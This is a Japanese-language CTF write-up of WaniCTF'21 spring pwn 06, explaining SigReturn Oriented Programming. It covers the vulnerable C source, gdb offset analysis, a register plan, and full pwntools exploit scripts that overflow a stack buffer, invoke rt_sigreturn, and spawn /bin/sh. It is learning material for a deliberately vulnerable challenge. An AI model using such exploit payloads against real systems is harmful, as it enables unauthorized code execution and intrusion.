WaniCTF'21-spring pwn 06 srop を勉強した記録

WaniCTF'21-spring pwn 06 srop

srop の意味は SigReturn Oriented Programming だな。
これ勉強する前は Super ROP かと思ってたよ。

# 問題

nc srop.pwn.wanictf.org 9006
sigreturnを用いたROPでシェルを実行してください。
sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html

配布データ

```
pwn06
pwn06.c
```

```c:pwn06.c
#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}
```

短いな。

動かしてみると

```
# ./pwn06
buff : 0x7ffdab31aa60
Can you get the shell?
```

とbuff[50]のアドレスのリークがある

# sigreturnが全然わからんのんで，solver.py を追う

```python:solver.py
from pwn import *

set_rax = p64(0x40118c)
syscall = p64(0x40117e)

#pc = process("./chall")
pc = connect('localhost',9101)
buff=pc.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))


payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

print(pc.recvuntil('\n'))
pc.send(payload)
pc.interactive()
```

set_rax = p64(0x40118c)

```
  40118c:       48 c7 c0 0f 00 00 00    mov    rax,0xf
  401193:       c3                      ret    
```

syscall = p64(0x40117e)

```
  40117e:       0f 05                   syscall 
  401180:       c3                      ret
```

payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall


```
rt_sigreturn()
```

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

以上は全部 スタック 2 レジスタ

# bof

char buff[50]は，実際には 0x10の倍数で割り当てられるので，
char buff[64]と同じこと。

"A"の数は buff の 64 と push ebp の 8 で， 8*9　と予想できる。

b main で止まった状態

```
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe458 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
```

0x7ffff7a03bf7 が main関数 のリターンアドレス

ローカル変数　char buff[50];　の割り当て

```
   0x40119f <main+8>:	sub    rsp,0x40
=> 0x4011a3 <main+12>:

RSP: 0x7fffffffe410 --> 0xc2 
```

スタック　0x7fffffffe410　が buff のアドレス

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/8cd1965a-d96e-27c7-aed6-3e4ca7702795.png)

"A"の数
"A" * 8 * 9
予想通りだ。

# 計画書

b"/bin/sh\x00"を書き込む場所も必要なので，
"A" * 8 * 9とするところを

payload = b"/bin/sh\x00"
payload+= b'A'*8*8

とする

b"/bin/sh\x00"のアドレスは，問題側でリークしてくれているので，拾う

syscall 0xf (15)  rt_sigreturn() でスタックをレジスタに書き込むのだが，
書き込む内容は，
syscall 0x3b (59)  execve(”/bun/sh”,null,null)
であるが，syscallをRIPに置く必要がある


|レジスタ  |値  |
|---|---|
|RDI  |"/bin/sh"のアドレス  |
|RSI  |0x0  |
|RDX  |0x0  |
|RAX  |0x3b (59 execve) |
|RIP  |syscall |


# 攻撃コード

```python:pwn06.py
# coding: UTF-8

# WaniCTF'21-spring pwn 06 srop
# https://github.com/wani-hackase/wanictf21spring-writeup/tree/main/pwn/06-srop

from pwn import *
import pwn 

#io = pwn.remote("srop.pwn.wanictf.org", 9006)
io = pwn.process("./pwn06")

# rt_sigreturn() で使う rop部品
set_rax = p64(0x40118c) # mov rax, 0xf ; ret
syscall = p64(0x40117e) # syscall ; ret

# leak
buff=io.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))

# buffの先頭はそのまま/bin/shの置き場にさせてもらう
payload = b"/bin/sh\x00"
payload+= b'A'*8*8

# rt_sigreturn
payload+=set_rax # mov rax, 0xf ; ret
payload+=syscall # syscall ; ret

# ここから下はレジスタに入る順番で

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #rip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

print(io.recvuntil('\n'))
io.send(payload)
io.interactive()
```

~~わかりやすい説明が出来た気がする。（自画自賛）~~
cs 0x33 って何だ？